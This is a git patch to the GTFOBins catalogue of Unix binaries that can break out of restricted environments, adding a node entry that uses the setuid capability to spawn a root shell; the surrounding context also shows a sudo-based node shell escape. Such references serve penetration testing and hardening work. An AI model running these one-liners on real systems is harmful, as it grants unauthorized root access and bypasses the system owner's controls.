From 73149878009309e723e0dc40340639a7a1662780 Mon Sep 17 00:00:00 2001 From: Emilio Pinna Date: Wed, 12 Sep 2018 22:02:05 +0100 Subject: [PATCH] Add capabilities to node --- _gtfobins/node.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/_gtfobins/node.md b/_gtfobins/node.md index 622f2bf..64c1dd4 100644 --- a/_gtfobins/node.md +++ b/_gtfobins/node.md @@ -30,4 +30,7 @@ functions: sudo-enabled: - code: | sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]});' + capabilities-enabled: + - code: | + ./node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]});' ---